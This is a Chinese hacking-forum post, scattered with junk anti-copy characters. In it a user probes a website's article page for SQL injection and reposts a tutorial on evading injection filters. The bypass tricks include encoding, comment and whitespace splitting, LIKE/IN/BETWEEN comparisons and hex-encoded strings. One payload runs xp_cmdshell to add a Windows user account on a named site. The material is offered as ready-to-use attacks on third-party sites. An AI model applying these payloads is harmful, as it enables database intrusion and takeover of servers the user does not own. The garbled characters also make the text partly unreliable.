路过这个网站,检测了一下.( A$ H! `6 B! R( [8 [8 |8 U4 F' W
http://www.xxx.cn/Article.asp?ID=117 and 1=14 t2 @6 j$ H1 l1 Q9 f4 I& x
直接返回主页3 S O5 F/ D8 P$ u2 D
http://www.xxx.cn/Article.asp?ID=117 or 1=1
6 Z( F+ `! T! b: y+ b直接返回主页
1 _1 R0 F) w' _0 q k0 w0 Yhttp://www.xxx.cn/Article.asp?ID=117 or) `: F. D- e6 X, D N
没有返回主页 没有过滤or
' w. m9 M/ S) h$ khttp://www.xxx.cn/Article.asp?ID=117 and
$ W8 ~" r& }1 V8 B8 K" ?7 E5 k直接返回主页 看来过滤了and$ x [/ H# s7 s/ f7 Z
http://www.xxx.cn/Article.asp?ID=117 or 1
$ I5 R& q; _: @; t9 G7 ]% i没有返回主页 即没有过滤or 也没有过滤1
" z* G( a [0 @( X$ _- q, i' hhttp://www.xxx.cn/Article.asp?ID=117 or 1=1# v: b- K* e6 ?+ b
直接返回主页 很明显过滤了等号 & v7 i+ {, A& w5 U
or的特性是与and相反的.# S$ D: q! ]4 F) t
or 1=1 爆错 或与原页面不同
4 `1 n, k, r' d$ Por 1=2 原页面相同% O' d3 b& R, |0 S1 J+ ~
这样就是一个注入点
* V" c) H& X, g8 h3 `但他过滤了=号 我就用><号代替=号吧!4 R* D, F, D7 s2 K1 f3 v
or 1<2 很明显是正确的,所以应该与原页面不同
, N, g; }0 O% v( O$ Mor 1>2 很明显是错误的,所以应该与原页面相同- n8 a9 T2 w; g. x
然后看看有没有过滤其他的查询语句,比如select.& m4 e. U0 H& U7 e$ K/ o+ ]+ e# N
http://www.xxx.cn/Article.asp?ID=117 select; [! E9 k: \% r% i7 O' g9 H" |7 _/ Z
直接返回主页* \( X! J3 q6 T/ U: t% w2 e: q
又迷茫了..
* U+ _4 E- ^' ]* }1 R' b* J' E; Q" M. g- r4 s5 ~
& }# O3 ?' Y) A' [8 J3 i
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
, H# P. b3 `$ P1 H" `* Y$ C4 [这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)& d/ q- \0 T* T
================================================3 M+ c/ W5 b( X, Z2 S
以下是转贴:: I" h3 d7 T) L
1 W1 S& W* o3 Z突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… ) n8 K( c% v/ w8 [: d1 @
经过我的收集,大部分的防注入程序都过滤了以下关键字: - V m/ ~3 r* S N1 A
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = / }8 w! Z/ S! M$ \0 E7 p# D. a3 t
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
) g( v- v7 \. U8 _5 q" f对于关键字的过滤,以下是我收集的以及我个人的一些想法。 - b) A) O7 R# Y# i- r1 V* s
1、运用编码技术绕过 5 l" _; r' ~: B
如URLEncode编码,ASCII编码绕过。例如or 1=1即 9 H9 p; E2 @( n! J _
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 - l3 j" V: k0 z# w) [3 m
( B! y- ~3 \1 A! \: u2、通过空格绕过 , V9 V- V o4 g
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 1 K6 Q& E4 g+ V- F! k
or’ swords’ =‘swords’
4 `4 a6 B7 s, r: M Y,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
, R2 b& L3 \. c% w; _. q4 U1 t3、运用字符串判断代替 v- g6 V! n4 [) {* j
用经典的or 1=1判断绕过,如
6 ?5 ~, C6 p* {7 x' T+ [or ’swords’ =’swords’ 5 t! q3 s( @0 Z3 R* l8 K' d$ {2 P/ N
,这个方法就是网上在讨论的。 9 a I, x+ Q/ S
4、通过类型转换修饰符N绕过
$ s# W! @: X4 N# q9 Q可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
& ?- u' @1 _) u; B5、通过+号拆解字符串绕过
" G$ A( ?0 A$ R& R! b8 @效果值得考证,但毕竟是一种方法。如
8 Y8 L( ]' s Cor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
& A6 ^' S) n/ J
- \ d) b) H, e1 z4 X2 k2 i" C( W% q6、通过LIKE绕过 8 }# f/ H4 ^6 m1 C
以前怎么就没想到呢?如or
6 o, u" b4 o1 r; [3 }& W1 N* G+ s3 o’swords’ LIKE ’sw’
0 v3 Y; O: H U( x/ ^5 f' I!!!显然可以很轻松的绕过
2 p5 D$ l: v+ T4 l9 \( K. Z“=”“>”
" Y& {5 C% `6 @的限制……
P+ p! x5 ^+ a7 q7、通过IN绕过
' U P) Q& e" i, E( v" |与上面的LIKE的思路差不多,如 ) [; d5 T" \% S- Q' @9 K5 r+ V( J: f
or ’swords’ IN (’swords’) 4 D J) a$ W3 W% Z8 J& E1 E0 {
' Q* A$ h3 y& u8 h+ R8 s, s8、通过BETWEEN绕过 % t v- D* B6 v g$ r+ {5 ^' R
如
2 D" M$ J) U) z5 ?4 [8 y8 [or ’swords’ BETWEEN ’rw’ AND ’tw’ C# t4 Z$ p2 _
) X3 Y1 E# }7 ?" J% u r* v j
9、通过>或者<绕过
0 a# y+ j* P( n( b3 f8 B2 [. ior ’swords’ > ’sw’
6 A/ k2 H/ j, i. Gor ’swords’ < ’tw’ 7 ~, @2 v9 N6 P7 ^0 H+ \
or 1<3
. c" [. E. e7 p+ m6 P, J…… ; e7 @6 \& u3 y$ W1 R: [
10、运用注释语句绕过
: L& `* q7 a" r5 R用/**/代替空格,如: 0 S0 e9 s1 H5 D( P* D
UNION /**/ Select /**/user,pwd,from tbluser 9 g& i: w% c9 I8 p1 p' O& P2 n
' _# o$ y0 Z/ c( s9 D7 q
用/**/分割敏感词,如:
7 W% R3 u" W+ iU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser $ M- d) g4 q9 v+ b! k) q3 W
% S1 X- f: E) O11、用HEX绕过,一般的IDS都无法检测出来 1 B* y0 E. X8 y2 o& S2 @
0x730079007300610064006D0069006E00 =hex(sysadmin) 2 R, H: p v( Z8 Z3 ^7 B% R
0x640062005F006F0077006E0065007200 =hex(db_owner)
) L3 e0 y8 _# _2 p: y另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ( W4 A- _ S! m7 E9 i( v
declare @a sysname 0 u6 {' ]9 Q3 H# U
select @a=
* S4 U) T% a4 n# t4 Q exec master.dbo.xp_cmdshell @a / h% ~8 g5 H) R+ q& l
效果
9 A" K( r7 m% qhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
0 O' T6 R, O4 l4 U) X" q% Z
4 ^5 Q9 a0 q3 U其中的 s; `0 H' U8 ~5 x. C
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
0 V: [3 l0 O: O; N C. e就是 4 C( R( Y7 Z, C% z" N
“net user angel pass /add”
1 e% ^& S; e M3 b. n
& {7 R9 |4 G+ M3 G0 Y& N一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。# q+ B6 f# z6 A( E$ X/ l3 a8 _& X
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
; V' S! `8 g2 U0 ^4 \4 v另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
8 D' p" }7 M$ U# V* m& }2 HCopy code- l0 z& C. H- @ E1 Y! O* w% V
select * from table exec xp_cmdshell'xxxxxxxxxx'
6 a4 A2 q3 y+ [, X3 W( h3 l
4 x" j! m% g$ Q) [$ ]! Y* m6 r& q; q% z+ p/ z/ Y9 Q
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'0 E2 T1 X/ N6 F* V5 B1 a
8 U+ T( d7 E& e. p" h& ~. b7 Z0 D
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx' L3 y$ E8 q9 R4 s
3 T0 |' \ m; ]+ K6 ^! X# c
) y' X" `1 X& z, ~/ h9 _+ Tselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'4 {2 O5 e: z& n- ]! {3 I
$ L* N2 q: ?5 K. u0 p/ U) E$ A
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?# }. k/ G6 W! m! U
; s8 p5 Z- N3 L% w; P这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了0 M. _# I" P x8 d* Q
可能大家早就知道了,不管怎么说,发在这里吧!: S: K5 \2 T$ d- H. K+ ~: H9 v
( a$ F2 [4 Z7 P* U最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
. l! r* q+ s7 x( B0 G1 \8 m8 L9 m4 s# \) f. t1 B& O1 H
0 W- [* z d# }6 ~8 y
4 ~. Y0 M$ b& d* d: J6 v对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,/ @" N) \. B0 ]/ ]8 O2 m _
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
: y" d9 P; P! K1 y; J; m8 ]) s9 `. {) a. i G! @
|